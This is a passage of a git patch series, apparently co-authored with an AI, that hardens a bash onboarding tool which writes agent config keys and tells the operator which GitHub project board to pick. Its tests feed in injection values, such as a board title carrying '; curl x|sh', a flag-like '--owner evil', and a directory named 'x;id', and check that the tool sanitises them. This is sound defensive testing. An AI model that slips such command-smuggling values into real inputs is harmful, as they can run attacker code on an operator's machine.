+assert_eq 'api-v1' "$(sed -n 's/^AGENT_RUNDIR_API_V1=//p' .agent/config.env)" 'the first API_V1 directory keeps the name'
+assert_eq 'x' "$(head -n 1 .agent/config.env)" 'a last line without a newline keeps its own value'
 assert_not_contains "$out" 'tools/site' 'a package.json with no test script is neither a suite nor an install'
 assert_not_contains "$out" 'x;id' 'a directory name with shell characters never reaches a command'
-assert_eq "$(printf '%s\n' AGENT_BASE_BRANCH AGENT_CMD_API AGENT_CMD_SERVICES_JOBS AGENT_CMD_SETUP AGENT_CMD_TEST AGENT_CMD_WEB AGENT_REPO_SLUG AGENT_RUNDIR_API AGENT_RUNDIR_SERVICES_JOBS AGENT_RUNDIR_WEB)" \
-    "$(grep -oE '^AGENT_[A-Z_]+' .agent/config.env | LC_ALL=C sort)" 'the file holds exactly the discovered keys'
+assert_eq "$(printf '%s\n' AGENT_BASE_BRANCH AGENT_CMD_API AGENT_CMD_API_V1 AGENT_CMD_SERVICES_JOBS AGENT_CMD_SETUP AGENT_CMD_TEST AGENT_CMD_WEB AGENT_REPO_SLUG AGENT_RUNDIR_API AGENT_RUNDIR_API_V1 AGENT_RUNDIR_SERVICES_JOBS AGENT_RUNDIR_WEB)" \
+    "$(grep -oE '^AGENT_[A-Z0-9_]+' .agent/config.env | LC_ALL=C sort)" 'the file holds exactly the discovered keys'
 
 # --- a config behind a symlink is refused ---
 mv .agent/config.env "$WORK/real.env" && ln -s "$WORK/real.env" .agent/config.env
@@ -113,5 +119,7 @@ rm .agent/config.env && mv "$WORK/real.env" .agent/config.env
 assert_rc 0 'an untracked .agent/ is ignored' -- git check-ignore -q .agent/config.env
 rm .gitignore && git rm -q --cached .gitignore && git commit -q -m noignore
 assert_rc 0 '.agent/ stays ignored through info/exclude' -- git check-ignore -q .agent/config.env
+mkdir -p web/.agent && : >web/.agent/x
+assert_rc 1 'the exclude is anchored to the root' -- git check-ignore -q web/.agent/x
 
 finish
diff --git a/v2/lib/onboard.sh b/v2/lib/onboard.sh
index 55d2d906..81ee07c2 100644
--- a/v2/lib/onboard.sh
+++ b/v2/lib/onboard.sh
@@ -22,29 +22,39 @@ onboard_set() {
     if grep -qE "^$1=" "$FILE" 2>/dev/null; then KEPT=$((KEPT + 1)); else LINES+=("$1=$2"); fi
 }
 
-# onboard_commands DIR: `setup<TAB>command` and `test<TAB>command` for the toolchain whose marker files sit in DIR.
-onboard_commands() {
-    local d=$1 pm install
-    if [[ -f $d/Makefile ]] && grep -qE '^test:' "$d/Makefile"; then
-        printf 'test\tmake test\n'
+# onboard_install DIR: the install command for the toolchain whose marker files sit in DIR, or nothing.
+onboard_install() {
+    local d=$1
+    if [[ -f $d/package.json ]]; then
+        if [[ -f $d/pnpm-lock.yaml ]]; then echo 'pnpm install --frozen-lockfile'
+        elif [[ -f $d/yarn.lock ]]; then echo 'yarn install --frozen-lockfile'
+        elif [[ -f $d/bun.lockb || -f $d/bun.lock ]]; then echo 'bun install'
+        elif [[ -f $d/package-lock.json ]]; then echo 'npm ci'
+        elif [[ $d == . ]]; then echo 'npm install'; fi   # no lockfile below the root: the root installs
+    elif [[ -f $d/uv.lock ]]; then echo 'uv sync'
+    elif [[ -f $d/poetry.lock ]]; then echo 'poetry install'
+    elif [[ -f $d/Gemfile ]]; then echo 'bundle install'
+    fi
+}
+
+# onboard_test DIR: the test command for DIR; a Makefile test target wins over the ecosystem's default.
+onboard_test() {
+    local d=$1 pm=npm
+    if [[ -f $d/Makefile ]] && grep -qE '^test:' "$d/Makefile"; then echo 'make test'
     elif [[ -f $d/package.json ]]; then
-        if [[ -f $d/pnpm-lock.yaml ]]; then pm=pnpm install='pnpm install --frozen-lockfile'
-        elif [[ -f $d/yarn.lock ]]; then pm=yarn install='yarn install --frozen-lockfile'
-        elif [[ -f $d/bun.lockb || -f $d/bun.lock ]]; then pm=bun install='bun install'
-        elif [[ -f $d/package-lock.json ]]; then pm=npm install='npm ci'
-        else pm=npm install='npm install'; fi
-        printf 'setup\t%s\n' "$install"
-        ! jq -e '.scripts.test' "$d/package.json" >/dev/null 2>&1 || printf 'test\t%s test\n' "$pm"
+        [[ ! -f $d/pnpm-lock.yaml ]] || pm=pnpm
+        [[ ! -f $d/yarn.lock ]] || pm=yarn
+        [[ ! -f $d/bun.lockb && ! -f $d/bun.lock ]] || pm=bun
+        ! jq -e '.scripts.test' "$d/package.json" >/dev/null 2>&1 || echo "$pm test"
     elif [[ -f $d/pyproject.toml || -f $d/setup.cfg || -f $d/setup.py || -f $d/requirements.txt ]]; then
-        if [[ -f $d/uv.lock ]]; then printf 'setup\tuv sync\ntest\tuv run pytest\n'
-        elif [[ -f $d/poetry.lock ]]; then printf 'setup\tpoetry install\ntest\tpoetry run pytest\n'
-        else printf 'test\tpython -m pytest\n'; fi
-    elif [[ -f $d/Cargo.toml ]]; then printf 'test\tcargo test\n'
-    elif [[ -f $d/go.mod ]]; then printf 'test\tgo test ./...\n'
-    elif [[ -f $d/Gemfile ]]; then
-        printf 'setup\tbundle install\ntest\t%s\n' "$([[ -d $d/spec ]] && echo 'bundle exec rspec' || echo 'bundle exec rake test')"
-    elif compgen -G "$d/*.sln" >/dev/null || compgen -G "$d/*.csproj" >/dev/null; then printf 'test\tdotnet test\n'
-    elif [[ -x $d/tests/run-tests.sh ]]; then printf 'test\ttests/run-tests.sh\n'
+        if [[ -f $d/uv.lock ]]; then echo 'uv run pytest'
+        elif [[ -f $d/poetry.lock ]]; then echo 'poetry run pytest'
+        else echo 'python -m pytest'; fi
+    elif [[ -f $d/Cargo.toml ]]; then echo 'cargo test'
+    elif [[ -f $d/go.mod ]]; then echo 'go test ./...'
+    elif [[ -f $d/Gemfile ]]; then [[ -d $d/spec ]] && echo 'bundle exec rspec' || echo 'bundle exec rake test'
+    elif compgen -G "$d/*.sln" >/dev/null || compgen -G "$d/*.csproj" >/dev/null; then echo 'dotnet test'
+    elif [[ -x $d/tests/run-tests.sh ]]; then echo 'tests/run-tests.sh'
     fi
 }
 
@@ -58,26 +68,28 @@ onboard_suite_dirs() {
 
 # onboard_toolchain: queue SETUP, TEST and one suite per toolchain directory; `none` when nothing was found.
 onboard_toolchain() {
-    local dir name kind command suite setup='' test='' installs=() found=0
-    while IFS=$'\t' read -r kind command; do
-        [[ $kind == setup ]] && setup=$command
-        [[ $kind == test ]] && test=$command
-    done < <(onboard_commands .)
+    local dir name command setup test installs=() found=0 taken=''
+    setup=$(onboard_install .)
+    test=$(onboard_test .)
     while IFS= read -r dir; do
         [[ -n $dir ]] || continue
-        name=$(tr '[:lower:]/-' '[:upper:]__' <<<"$dir" | tr -c 'A-Z0-9_\n' '_')
+        name=${dir^^}
+        name=${name//[^A-Z0-9_]/_}
         case $name in SETUP | VERIFY | TEST | *_FIX) continue ;; esac
-        suite=$(onboard_commands "$dir")
-        command=$(sed -n 's/^test\t//p' <<<"$suite")
+        command=$(onboard_test "$dir")
         [[ -n $command ]] || continue
+        # api-v1 and api_v1 both normalise to API_V1: the first keeps the name, the second is named for the operator.
+        if [[ ,$taken, == *",$name,"* ]]; then NOTES+=("suite-skipped=$dir (AGENT_CMD_$name is taken; add it by hand)"); continue; fi
+        taken+=",$name"
         onboard_set "AGENT_CMD_$name" "$command"
         onboard_set "AGENT_RUNDIR_$name" "$dir"
         found=1
         # A directory's install matters only when a suite runs there: a tool's own package.json is not a suite.
-        command=$(sed -n 's/^setup\t//p' <<<"$suite")
+        command=$(onboard_install "$dir")
         [[ -z $command ]] || installs+=("(cd $dir && $command)")
     done < <(onboard_suite_dirs)
-    [[ -n $setup || ${#installs[@]} == 0 ]] || setup=$(IFS='&'; printf '%s' "${installs[*]}" | sed 's/)&(/) \&\& (/g')
+    # The root install first, then each suite's own: ak setup runs the one line before any suite.
+    for command in "${installs[@]}"; do setup+="${setup:+ && }$command"; done
     onboard_set AGENT_CMD_SETUP "$setup"
     onboard_set AGENT_CMD_TEST "$test"
     [[ -n $test ]] || ((found)) || NOTES+=('commands=none; append AGENT_CMD_TEST=<the command CI runs> to .agent/config.env')
@@ -99,8 +111,8 @@ onboard_board() {
             fix='board=none; ak plan reads AGENT_READY_LABEL=<label> instead, or name one: ak onboard --project N --owner O'
         NOTES+=("$fix")
     elif ((count > 1)); then
-        NOTES+=('board=choose' "$(head -n 5 <<<"$rows" | awk -F'\t' '{ print "  " $1 " " $3 }')" \
-            "fix: ak onboard --project N --owner $(head -n 1 <<<"$rows" | cut -f2)")
+        NOTES+=('board=choose' "$(head -n 5 <<<"$rows" | awk -F'\t' '{ print "  --project " $1 " --owner " $2 "  " $3 }')" \
+            'fix: ak onboard <one line above>')
     else
         onboard_pick "$rows"
     fi
@@ -125,7 +137,7 @@ onboard_exclude() {
     ! git ls-files --error-unmatch -- "$FILE" >/dev/null 2>&1 || return 0
     exclude="$(git rev-parse --path-format=absolute --git-common-dir)/info/exclude"
     mkdir -p -- "$(dirname -- "$exclude")"
-    grep -qxF '.agent/' "$exclude" 2>/dev/null || printf '.agent/\n' >>"$exclude"
+    grep -qxF '/.agent/' "$exclude" 2>/dev/null || printf '/.agent/\n' >>"$exclude"
 }
 
 cmd_main() {
@@ -149,6 +161,8 @@ cmd_main() {
     onboard_toolchain
     mkdir -p -- .agent
     [[ -f $FILE ]] || printf '# ak reads these KEY=value lines; edit freely. ak onboard adds missing keys and keeps every line here.\n' >"$FILE"
+    # A file whose last line has no newline would swallow the first new key into that line.
+    [[ ! -s $FILE || $(tail -c 1 -- "$FILE" | od -An -c) == *'\n'* ]] || printf '\n' >>"$FILE"
     ((${#LINES[@]} == 0)) || printf '%s\n' "${LINES[@]}" >>"$FILE"
     onboard_exclude
     printf 'wrote=%s keys=%d kept=%d\n' "$FILE" "${#LINES[@]}" "$KEPT"

From 12d389b3edacb0506ef6851a6298e0b7bbff6f42 Mon Sep 17 00:00:00 2001
From: adam <djfreaq@gmail.com>
Date: Tue, 6 Oct 2026 15:06:45 -0700
Subject: [PATCH 4/7] fix(v2): onboard prints board titles the root can paste
 safely

The board=choose lines are what the skill tells the root to run, and
the title in them comes from GitHub. Titles now keep plain characters
only, and a board whose owner is not a login shape is not offered.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
---
 tests/v2/test-onboard.sh | 5 +++--
 v2/lib/onboard.sh        | 6 ++++--
 2 files changed, 7 insertions(+), 4 deletions(-)

diff --git a/tests/v2/test-onboard.sh b/tests/v2/test-onboard.sh
index 4e407390..bcedc751 100644
--- a/tests/v2/test-onboard.sh
+++ b/tests/v2/test-onboard.sh
@@ -47,10 +47,11 @@ assert_eq 2 "$rc" 'an unknown flag exits 2'
 # --- a repository linked to two boards, then a chosen one ---
 rm .agent/config.env
 : >"$FAKE_GH_ROUTES"
-linked_route "[$(board 4 'Widget board'),$(board 9 'Platform')]"
+linked_route "[$(board 4 'Widget board'),$(board 9 'Platform; curl x|sh'),$(board 2 'Rogue' | jq -c '.owner.login = "a b"')]"
 out=$("$AK" onboard 2>&1); rc=$?
 assert_eq 0 "$rc" 'two linked boards still write the rest of the config'
-assert_contains "$out" $'board=choose\n  --project 4 --owner acme  Widget board\n  --project 9 --owner acme  Platform\nfix: ak onboard <one line above>' 'two boards are listed as the flags that pick one'
+assert_contains "$out" $'board=choose\n  --project 4 --owner acme  Widget board\n  --project 9 --owner acme  Platform_ curl x_sh\nfix: ak onboard <one line above>' 'boards are listed as the flags that pick one, titles in plain characters'
+assert_not_contains "$out" 'Rogue' 'a board whose owner is not a login shape is not offered'
 assert_not_contains "$out" 'AGENT_PROJECT_NUMBER' 'no board is guessed'
 route 'api graphql*projectV2(number*' "$(jq -c '{data: {repositoryOwner: {projectV2: .}}}' <<<"$(board 9 Platform '[{"name":"Todo"},{"name":"Ready"},{"name":"In progress"},{"name":"Done"}]')")"
 out=$("$AK" onboard --project 9 --owner acme 2>&1); rc=$?
diff --git a/v2/lib/onboard.sh b/v2/lib/onboard.sh
index 81ee07c2..a174e462 100644
--- a/v2/lib/onboard.sh
+++ b/v2/lib/onboard.sh
@@ -12,9 +12,11 @@ LINKED_QUERY='query($owner: String!, $name: String!) { repository(owner: $owner,
 NAMED_QUERY='query($owner: String!, $number: Int!) { repositoryOwner(login: $owner) { projectV2(number: $number)
   { number title closed owner { ... on Organization { login } ... on User { login } }
     field(name: "Status") { ... on ProjectV2SingleSelectField { options { name } } } } } }'
-# Open boards as `number<TAB>owner<TAB>title<TAB>status,options`.
+# Open boards as `number<TAB>owner<TAB>title<TAB>status,options`. Title and owner reach lines the root pastes into a
+# shell, so the title keeps plain characters only and an owner that is not a GitHub login shape drops the row.
 BOARD_ROWS='[.. | objects | select(has("number") and has("title"))] | map(select(.closed != true)) | .[] |
-  [.number, .owner.login, .title, ([.field.options[]?.name] | join(","))] | @tsv'
+  select(.owner.login | test("^[A-Za-z0-9-]+$")) |
+  [.number, .owner.login, (.title | gsub("[^A-Za-z0-9 ._-]"; "_") | .[0:60]), ([.field.options[]?.name] | join(","))] | @tsv'
 
 # onboard_set KEY VALUE: queue KEY=VALUE unless the file already has KEY or VALUE is empty.
 onboard_set() {

From f589317bf3912f4050852eb86a88d8dc954880d5 Mon Sep 17 00:00:00 2001
From: adam <djfreaq@gmail.com>
Date: Tue, 6 Oct 2026 15:10:27 -0700
Subject: [PATCH 5/7] fix(v2): a pasted board line carries its title as a shell
 comment

A title that reads like flags (--owner evil) would have overridden the
flags before it when the root pasted the line; behind a # it is dropped.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
---
 tests/v2/test-onboard.sh | 4 ++--
 v2/lib/onboard.sh        | 3 ++-
 2 files changed, 4 insertions(+), 3 deletions(-)

diff --git a/tests/v2/test-onboard.sh b/tests/v2/test-onboard.sh
index bcedc751..4276c42b 100644
--- a/tests/v2/test-onboard.sh
+++ b/tests/v2/test-onboard.sh
@@ -47,10 +47,10 @@ assert_eq 2 "$rc" 'an unknown flag exits 2'
 # --- a repository linked to two boards, then a chosen one ---
 rm .agent/config.env
 : >"$FAKE_GH_ROUTES"
-linked_route "[$(board 4 'Widget board'),$(board 9 'Platform; curl x|sh'),$(board 2 'Rogue' | jq -c '.owner.login = "a b"')]"
+linked_route "[$(board 4 'Widget board'),$(board 9 '--owner evil; curl x|sh'),$(board 2 'Rogue' | jq -c '.owner.login = "a b"')]"
 out=$("$AK" onboard 2>&1); rc=$?
 assert_eq 0 "$rc" 'two linked boards still write the rest of the config'
-assert_contains "$out" $'board=choose\n  --project 4 --owner acme  Widget board\n  --project 9 --owner acme  Platform_ curl x_sh\nfix: ak onboard <one line above>' 'boards are listed as the flags that pick one, titles in plain characters'
+assert_contains "$out" $'board=choose\n  --project 4 --owner acme  # Widget board\n  --project 9 --owner acme  # --owner evil_ curl x_sh\nfix: ak onboard <one line above>' 'boards are listed as the flags that pick one, the title behind a comment'
 assert_not_contains "$out" 'Rogue' 'a board whose owner is not a login shape is not offered'
 assert_not_contains "$out" 'AGENT_PROJECT_NUMBER' 'no board is guessed'
 route 'api graphql*projectV2(number*' "$(jq -c '{data: {repositoryOwner: {projectV2: .}}}' <<<"$(board 9 Platform '[{"name":"Todo"},{"name":"Ready"},{"name":"In progress"},{"name":"Done"}]')")"
diff --git a/v2/lib/onboard.sh b/v2/lib/onboard.sh
index a174e462..6d700105 100644
--- a/v2/lib/onboard.sh
+++ b/v2/lib/onboard.sh
@@ -113,7 +113,8 @@ onboard_board() {
             fix='board=none; ak plan reads AGENT_READY_LABEL=<label> instead, or name one: ak onboard --project N --owner O'
         NOTES+=("$fix")
     elif ((count > 1)); then
-        NOTES+=('board=choose' "$(head -n 5 <<<"$rows" | awk -F'\t' '{ print "  --project " $1 " --owner " $2 "  " $3 }')" \
+        # The title sits behind a #: a pasted line keeps only the flags, so a title that looks like flags changes nothing.
+        NOTES+=('board=choose' "$(head -n 5 <<<"$rows" | awk -F'\t' '{ print "  --project " $1 " --owner " $2 "  # " $3 }')" \
             'fix: ak onboard <one line above>')
     else
         onboard_pick "$rows"

From 608e97f87298fedfa1ce6675942bd54800ca83eb Mon Sep 17 00:00:00 2001
From: adam <djfreaq@gmail.com>
Date: Tue, 6 Oct 2026 16:53:37 -0700
Subject: [PATCH 6/7] fix(v2): onboard names a board through ProjectV2Owner and
 keeps paired keys whole

Findings from the second blind review (gpt-6-astra), each pinned:

- RepositoryOwner has no projectV2 field, so every --project call
  failed; the query now goes through the ProjectV2Owner fragment,
  verified live against this repository's board.
- a kept AGENT_CMD_<NAME> no longer gains an AGENT_RUNDIR_<NAME> that
  changes where it runs; the two are one declaration.
- a file holding one of AGENT_PROJECT_OWNER/NUMBER is not completed
  with the discovered other half; both present skips the board read.
- a base branch the lookup cannot find is a note, not a guessed main.
- an info/exclude whose last rule has no newline keeps that rule.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
---
 tests/v2/test-onboard.sh | 37 +++++++++++++++++++++++++++++++----
 v2/lib/onboard.sh        | 42 +++++++++++++++++++++++++++-------------
 2 files changed, 62 insertions(+), 17 deletions(-)

diff --git a/tests/v2/test-onboard.sh b/tests/v2/test-onboard.sh
index 4276c42b..fa0f4b1a 100644
--- a/tests/v2/test-onboard.sh
+++ b/tests/v2/test-onboard.sh
@@ -59,6 +59,18 @@ assert_eq 0 "$rc" 'a named board is adopted'
 assert_contains "$out" $'\nAGENT_PROJECT_OWNER=acme\nAGENT_PROJECT_NUMBER=9\n' 'the named board is written'
 assert_contains "$out" 'board=9 "Platform" status=Todo,Ready,In progress,Done' 'the chosen board line names its options'
 assert_contains "$out" $'\nmissing-status=In review (ak board no-ops a move there)' 'a missing canonical column is named, not fatal'
+assert_eq 1 "$(grep -c 'on ProjectV2Owner { projectV2(number' "$FAKE_GH_LOG")" 'the named-board query asks through the ProjectV2Owner fragment (RepositoryOwner has no projectV2)'
+
+# --- a half-declared or whole board in the file is left alone, and asked about nothing ---
+: >"$FAKE_GH_LOG"
+out=$("$AK" onboard 2>&1); rc=$?
+assert_contains "$out" 'board=kept (AGENT_PROJECT_OWNER and AGENT_PROJECT_NUMBER are already set)' 'a declared board is kept without a read'
+assert_eq 0 "$(grep -c 'api graphql' "$FAKE_GH_LOG")" 'a declared board costs no GraphQL'
+sed -i '/^AGENT_PROJECT_NUMBER=/d' .agent/config.env
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'a half-declared board exits 0'
+assert_contains "$out" 'board=incomplete; .agent/config.env has one of AGENT_PROJECT_OWNER/AGENT_PROJECT_NUMBER: set both or remove it' 'a half-declared board is named, not completed'
+assert_rc 1 'the discovered number is not paired with a kept owner' -- grep -q '^AGENT_PROJECT_NUMBER=' .agent/config.env
 
 # --- no linked board, no toolchain ---
 rm .agent/config.env package.json package-lock.json
@@ -72,6 +84,18 @@ assert_contains "$out" 'commands=none; append AGENT_CMD_TEST=<the command CI run
 assert_contains "$out" $'\nnext=ak verify --full' 'with no setup, next is verify alone'
 assert_not_contains "$out" $'\nAGENT_CMD_' 'no command is invented'
 
+# --- no origin/HEAD and no reachable API: the base is not guessed ---
+rm .agent/config.env
+git remote set-head origin -d
+: >"$FAKE_GH_ROUTES"
+linked_route '[]'
+out=$("$AK" onboard 2>&1); rc=$?
+assert_eq 0 "$rc" 'an unknown base exits 0'
+assert_contains "$out" $'\nbase=unknown; fix: git remote set-head origin -a' 'an unknown base is named with its fix'
+assert_rc 1 'no base is guessed into the file' -- grep -q '^AGENT_BASE_BRANCH=' .agent/config.env
+git remote set-head origin main
+rm .agent/config.env
+
 # --- a board read that fails is reported, not fatal ---
 : >"$FAKE_GH_ROUTES"
 route 'api graphql*projectsV2(first*' 'gh: Bad credentials (HTTP 401)' 1
@@ -90,22 +114,23 @@ printf 'module jobs\n' >services/jobs/go.mod
 mkdir -p tools/site && printf '{"name":"site"}\n' >tools/site/package.json && : >tools/site/package-lock.json
 mkdir -p 'x;id' && printf 'module x\n' >'x;id/go.mod'
 mkdir -p api-v1 api_v1 && printf 'module v1\n' >api-v1/go.mod && printf 'module v1\n' >api_v1/go.mod
-printf 'x' >.agent/config.env   # a hand-written file whose last line has no newline
+printf 'AGENT_CMD_WEB=pytest web/tests\nx' >.agent/config.env   # a hand-written suite, and a last line with no newline
 git add Makefile package.json package-lock.json api web services tools 'x;id' api-v1 api_v1 && git commit -q -m mono
 linked_route '[]'
 out=$("$AK" onboard 2>&1); rc=$?
 assert_eq 0 "$rc" 'a monorepo onboards'
 assert_contains "$out" $'\nAGENT_CMD_TEST=make test\n' 'a Makefile test target is the whole check'
 assert_contains "$out" $'\nAGENT_CMD_API=uv run pytest\nAGENT_RUNDIR_API=api\n' 'a uv project is a suite in its directory'
-assert_contains "$out" $'\nAGENT_CMD_WEB=pnpm test\nAGENT_RUNDIR_WEB=web\n' 'a pnpm project is a suite in its directory'
+assert_not_contains "$out" 'AGENT_RUNDIR_WEB' 'a kept suite command gains no directory'
+assert_eq 'pytest web/tests' "$(sed -n 's/^AGENT_CMD_WEB=//p' .agent/config.env)" 'the hand-written suite command is kept'
 assert_contains "$out" $'\nAGENT_CMD_SERVICES_JOBS=go test ./...\nAGENT_RUNDIR_SERVICES_JOBS=services/jobs\n' 'a nested go module is a suite named by its path'
 assert_contains "$out" $'\nAGENT_CMD_SETUP=npm ci && (cd api && uv sync) && (cd web && pnpm install --frozen-lockfile)\n' 'the root install comes first, then each suite with its own lockfile'
 assert_contains "$out" $'\nsuite-skipped=api_v1 (AGENT_CMD_API_V1 is taken; add it by hand)' 'a second directory with the same normalised name is named, not duplicated'
 assert_eq 'api-v1' "$(sed -n 's/^AGENT_RUNDIR_API_V1=//p' .agent/config.env)" 'the first API_V1 directory keeps the name'
-assert_eq 'x' "$(head -n 1 .agent/config.env)" 'a last line without a newline keeps its own value'
+assert_eq 'x' "$(sed -n 2p .agent/config.env)" 'a last line without a newline keeps its own value'
 assert_not_contains "$out" 'tools/site' 'a package.json with no test script is neither a suite nor an install'
 assert_not_contains "$out" 'x;id' 'a directory name with shell characters never reaches a command'
-assert_eq "$(printf '%s\n' AGENT_BASE_BRANCH AGENT_CMD_API AGENT_CMD_API_V1 AGENT_CMD_SERVICES_JOBS AGENT_CMD_SETUP AGENT_CMD_TEST AGENT_CMD_WEB AGENT_REPO_SLUG AGENT_RUNDIR_API AGENT_RUNDIR_API_V1 AGENT_RUNDIR_SERVICES_JOBS AGENT_RUNDIR_WEB)" \
+assert_eq "$(printf '%s\n' AGENT_BASE_BRANCH AGENT_CMD_API AGENT_CMD_API_V1 AGENT_CMD_SERVICES_JOBS AGENT_CMD_SETUP AGENT_CMD_TEST AGENT_CMD_WEB AGENT_REPO_SLUG AGENT_RUNDIR_API AGENT_RUNDIR_API_V1 AGENT_RUNDIR_SERVICES_JOBS)" \
     "$(grep -oE '^AGENT_[A-Z0-9_]+' .agent/config.env | LC_ALL=C sort)" 'the file holds exactly the discovered keys'
 
 # --- a config behind a symlink is refused ---
@@ -119,6 +144,10 @@ rm .agent/config.env && mv "$WORK/real.env" .agent/config.env
 # --- an untracked config is excluded from git; a tracked one is left alone ---
 assert_rc 0 'an untracked .agent/ is ignored' -- git check-ignore -q .agent/config.env
 rm .gitignore && git rm -q --cached .gitignore && git commit -q -m noignore
+printf '/scratch' >.git/info/exclude   # an exclude whose last rule has no newline
+rm .agent/config.env
+out=$("$AK" onboard 2>&1)
+assert_eq $'/scratch\n/.agent/' "$(cat .git/info/exclude)" 'the exclude rule lands on its own line after a rule with no newline'
 assert_rc 0 '.agent/ stays ignored through info/exclude' -- git check-ignore -q .agent/config.env
 mkdir -p web/.agent && : >web/.agent/x
 assert_rc 1 'the exclude is anchored to the root' -- git check-ignore -q web/.agent/x
diff --git a/v2/lib/onboard.sh b/v2/lib/onboard.sh
index 6d700105..4ec58062 100644
--- a/v2/lib/onboard.sh
+++ b/v2/lib/onboard.sh
@@ -9,19 +9,27 @@ LINKED_QUERY='query($owner: String!, $name: String!) { repository(owner: $owner,
   { number title closed owner { ... on Organization { login } ... on User { login } }
     field(name: "Status") { ... on ProjectV2SingleSelectField { options { name } } } } } } }'
 # shellcheck disable=SC2016
-NAMED_QUERY='query($owner: String!, $number: Int!) { repositoryOwner(login: $owner) { projectV2(number: $number)
+NAMED_QUERY='query($owner: String!, $number: Int!) { repositoryOwner(login: $owner) { ... on ProjectV2Owner { projectV2(number: $number)
   { number title closed owner { ... on Organization { login } ... on User { login } }
-    field(name: "Status") { ... on ProjectV2SingleSelectField { options { name } } } } } }'
+    field(name: "Status") { ... on ProjectV2SingleSelectField { options { name } } } } } } }'
 # Open boards as `number<TAB>owner<TAB>title<TAB>status,options`. Title and owner reach lines the root pastes into a
 # shell, so the title keeps plain characters only and an owner that is not a GitHub login shape drops the row.
 BOARD_ROWS='[.. | objects | select(has("number") and has("title"))] | map(select(.closed != true)) | .[] |
   select(.owner.login | test("^[A-Za-z0-9-]+$")) |
   [.number, .owner.login, (.title | gsub("[^A-Za-z0-9 ._-]"; "_") | .[0:60]), ([.field.options[]?.name] | join(","))] | @tsv'
 
+onboard_has() { grep -qE "^$1=" "$FILE" 2>/dev/null; }
+
 # onboard_set KEY VALUE: queue KEY=VALUE unless the file already has KEY or VALUE is empty.
 onboard_set() {
     [[ -n $2 ]] || return 0
-    if grep -qE "^$1=" "$FILE" 2>/dev/null; then KEPT=$((KEPT + 1)); else LINES+=("$1=$2"); fi
+    if onboard_has "$1"; then KEPT=$((KEPT + 1)); else LINES+=("$1=$2"); fi
+}
+
+# append_line FILE LINE: add LINE on its own line, even after a last line that has no newline.
+append_line() {
+    [[ ! -s $1 || $(tail -c 1 -- "$1" | od -An -c) == *'\n'* ]] || printf '\n' >>"$1"
+    printf '%s\n' "$2" >>"$1"
 }
 
 # onboard_install DIR: the install command for the toolchain whose marker files sit in DIR, or nothing.
@@ -70,7 +78,7 @@ onboard_suite_dirs() {
 
 # onboard_toolchain: queue SETUP, TEST and one suite per toolchain directory; `none` when nothing was found.
 onboard_toolchain() {
-    local dir name command setup test installs=() found=0 taken=''
+    local dir name command install setup test installs=() found=0 taken=''
     setup=$(onboard_install .)
     test=$(onboard_test .)
     while IFS= read -r dir; do
@@ -83,12 +91,14 @@ onboard_toolchain() {
         # api-v1 and api_v1 both normalise to API_V1: the first keeps the name, the second is named for the operator.
         if [[ ,$taken, == *",$name,"* ]]; then NOTES+=("suite-skipped=$dir (AGENT_CMD_$name is taken; add it by hand)"); continue; fi
         taken+=",$name"
-        onboard_set "AGENT_CMD_$name" "$command"
-        onboard_set "AGENT_RUNDIR_$name" "$dir"
         found=1
         # A directory's install matters only when a suite runs there: a tool's own package.json is not a suite.
-        command=$(onboard_install "$dir")
-        [[ -z $command ]] || installs+=("(cd $dir && $command)")
+        install=$(onboard_install "$dir")
+        [[ -z $install ]] || installs+=("(cd $dir && $install)")
+        # The command and its directory are one declaration: a kept `pytest api/tests` must not gain a directory.
+        if onboard_has "AGENT_CMD_$name" || onboard_has "AGENT_RUNDIR_$name"; then KEPT=$((KEPT + 1)); continue; fi
+        onboard_set "AGENT_CMD_$name" "$command"
+        onboard_set "AGENT_RUNDIR_$name" "$dir"
     done < <(onboard_suite_dirs)
     # The root install first, then each suite's own: ak setup runs the one line before any suite.
     for command in "${installs[@]}"; do setup+="${setup:+ && }$command"; done
@@ -98,8 +108,14 @@ onboard_toolchain() {
 }
 
 # onboard_board [NUMBER OWNER]: read the linked boards (or the named one), queue the owner and number of the one to use.
+# Owner and number are one declaration: a file that already has either is not completed with a discovered half.
 onboard_board() {
     local rows owner count fix
+    if onboard_has AGENT_PROJECT_OWNER && onboard_has AGENT_PROJECT_NUMBER; then
+        KEPT=$((KEPT + 2)); NOTES+=('board=kept (AGENT_PROJECT_OWNER and AGENT_PROJECT_NUMBER are already set)'); return 0
+    elif onboard_has AGENT_PROJECT_OWNER || onboard_has AGENT_PROJECT_NUMBER; then
+        KEPT=$((KEPT + 1)); NOTES+=("board=incomplete; $FILE has one of AGENT_PROJECT_OWNER/AGENT_PROJECT_NUMBER: set both or remove it"); return 0
+    fi
     owner=$(slug); owner=${owner%%/*}
     if [[ -n ${1:-} ]]; then
         rows=$(gh api graphql -f "query=$NAMED_QUERY" -F "owner=$2" -F "number=$1" 2>&1)
@@ -140,7 +156,7 @@ onboard_exclude() {
     ! git ls-files --error-unmatch -- "$FILE" >/dev/null 2>&1 || return 0
     exclude="$(git rev-parse --path-format=absolute --git-common-dir)/info/exclude"
     mkdir -p -- "$(dirname -- "$exclude")"
-    grep -qxF '/.agent/' "$exclude" 2>/dev/null || printf '/.agent/\n' >>"$exclude"
+    grep -qxF '/.agent/' "$exclude" 2>/dev/null || append_line "$exclude" '/.agent/'
 }
 
 cmd_main() {
@@ -158,15 +174,15 @@ cmd_main() {
     [[ ! -L .agent && ! -L $FILE ]] || die "$FILE is behind a symlink, which onboard will not write through" "rm $FILE"
     onboard_set AGENT_REPO_SLUG "$(slug)"
     base=$(git symbolic-ref --quiet --short refs/remotes/origin/HEAD 2>/dev/null || true)
-    [[ -n $base ]] || base=origin/$(gh api "repos/$(slug)" --jq .default_branch 2>/dev/null || echo main)
+    [[ -n $base ]] || base=$(gh api "repos/$(slug)" --jq .default_branch 2>/dev/null || true)
+    # A failed lookup writes nothing: a guessed `main` would survive every later run on a `master` repository.
+    [[ -n $base ]] || NOTES+=('base=unknown; fix: git remote set-head origin -a')
     onboard_set AGENT_BASE_BRANCH "${base#origin/}"
     onboard_board "$project" "$owner"
     onboard_toolchain
     mkdir -p -- .agent
     [[ -f $FILE ]] || printf '# ak reads these KEY=value lines; edit freely. ak onboard adds missing keys and keeps every line here.\n' >"$FILE"
-    # A file whose last line has no newline would swallow the first new key into that line.
